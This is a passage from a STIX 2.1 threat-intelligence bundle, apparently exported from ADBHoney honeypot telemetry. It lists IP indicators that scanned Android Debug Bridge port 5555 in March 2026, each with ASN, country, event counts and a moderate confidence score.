      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T02:03:04.000Z | last_seen=2026-03-21T02:04:04.812Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--255b2284-bf1e-4d3e-aea7-6fa9d9adc0a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.203.164.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:00:03.000Z",
      "valid_until": "2026-04-22T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T02:03:04.000Z",
          "last_seen": "2026-03-21T02:04:04.812Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=17816; asn_org=China Unicom IP network China169 Guangdong province; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T02:37:17.000Z | last_seen=2026-03-21T02:38:27.165Z | ports=5555 | cc=CN | asn=17816 | org=China Unicom IP network China169 Guangdong province",
      "id": "indicator--2faa1347-e781-45a6-a71c-4162c6145876",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '163.0.228.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:00:03.000Z",
      "valid_until": "2026-04-22T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T02:37:17.000Z",
          "last_seen": "2026-03-21T02:38:27.165Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "17816"
          ],
          "org": [
            "China Unicom IP network China169 Guangdong province"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T02:03:04.000Z | last_seen=2026-03-21T02:04:04.812Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--255b2284-bf1e-4d3e-aea7-6fa9d9adc0a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.203.164.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:00:04.000Z",
      "valid_until": "2026-04-22T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T02:03:04.000Z",
          "last_seen": "2026-03-21T02:04:04.812Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=17816; asn_org=China Unicom IP network China169 Guangdong province; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T02:37:17.000Z | last_seen=2026-03-21T02:38:27.165Z | ports=5555 | cc=CN | asn=17816 | org=China Unicom IP network China169 Guangdong province",
      "id": "indicator--2faa1347-e781-45a6-a71c-4162c6145876",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '163.0.228.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:00:04.000Z",
      "valid_until": "2026-04-22T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T02:37:17.000Z",
          "last_seen": "2026-03-21T02:38:27.165Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "17816"
          ],
          "org": [
            "China Unicom IP network China169 Guangdong province"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-21T06:04:54.000Z | last_seen=2026-03-21T06:15:04.743Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:00:03.000Z",
      "valid_until": "2026-04-22T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-21T06:04:54.000Z",
          "last_seen": "2026-03-21T06:15:04.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T06:03:25.000Z | last_seen=2026-03-21T06:04:30.701Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:00:03.000Z",
      "valid_until": "2026-04-22T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T06:03:25.000Z",
          "last_seen": "2026-03-21T06:04:30.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-21T06:04:54.000Z | last_seen=2026-03-21T06:15:04.743Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:00:03.000Z",
      "valid_until": "2026-04-22T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-21T06:04:54.000Z",
          "last_seen": "2026-03-21T06:15:04.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T06:03:25.000Z | last_seen=2026-03-21T06:04:30.701Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T07:00:03.000Z",
      "valid_until": "2026-04-22T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T06:03:25.000Z",
          "last_seen": "2026-03-21T06:04:30.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-21T07:16:39.000Z | last_seen=2026-03-21T07:26:56.959Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.12.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:00:04.000Z",
      "valid_until": "2026-04-22T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-21T07:16:39.000Z",
          "last_seen": "2026-03-21T07:26:56.959Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-21T07:02:55.000Z | last_seen=2026-03-21T07:14:30.115Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:00:04.000Z",
      "valid_until": "2026-04-22T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-21T07:02:55.000Z",
          "last_seen": "2026-03-21T07:14:30.115Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-21T07:16:39.000Z | last_seen=2026-03-21T07:26:56.959Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.12.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:00:04.000Z",
      "valid_until": "2026-04-22T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-21T07:16:39.000Z",
          "last_seen": "2026-03-21T07:26:56.959Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-21T07:02:55.000Z | last_seen=2026-03-21T07:14:30.115Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:00:04.000Z",
      "valid_until": "2026-04-22T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-21T07:02:55.000Z",
          "last_seen": "2026-03-21T07:14:30.115Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=397976; asn_org=Central Access, Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-21T11:57:23.000Z | last_seen=2026-03-21T11:58:28.098Z | ports=5555 | cc=US | asn=397976 | org=Central Access, Inc.",
      "id": "indicator--aa156e1f-ddf5-4c60-a81c-b2c82cff9b17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.150.64.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:00:03.000Z",
      "valid_until": "2026-04-22T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-21T11:57:23.000Z",
          "last_seen": "2026-03-21T11:58:28.098Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "397976"
          ],
          "org": [
            "Central Access, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=397976; asn_org=Central Access, Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-21T11:57:23.000Z | last_seen=2026-03-21T11:58:28.098Z | ports=5555 | cc=US | asn=397976 | org=Central Access, Inc.",
      "id": "indicator--aa156e1f-ddf5-4c60-a81c-b2c82cff9b17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.150.64.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:00:03.000Z",
      "valid_until": "2026-04-22T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-21T11:57:23.000Z",
          "last_seen": "2026-03-21T11:58:28.098Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "397976"
          ],
          "org": [
            "Central Access, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-21T12:31:37.000Z | last_seen=2026-03-21T12:32:52.621Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:00:03.000Z",
      "valid_until": "2026-04-22T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-21T12:31:37.000Z",
          "last_seen": "2026-03-21T12:32:52.621Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=17858; asn_org=LG POWERCOMM; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-21T12:02:02.000Z | last_seen=2026-03-21T12:03:04.845Z | ports=5555 | cc=KR | asn=17858 | org=LG POWERCOMM",
      "id": "indicator--9b2f18af-99ec-4c19-b4d5-7a144ad7377b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '182.231.77.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:00:03.000Z",
      "valid_until": "2026-04-22T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-21T12:02:02.000Z",
          "last_seen": "2026-03-21T12:03:04.845Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "17858"
          ],
          "org": [
            "LG POWERCOMM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-21T12:31:37.000Z | last_seen=2026-03-21T12:32:52.621Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
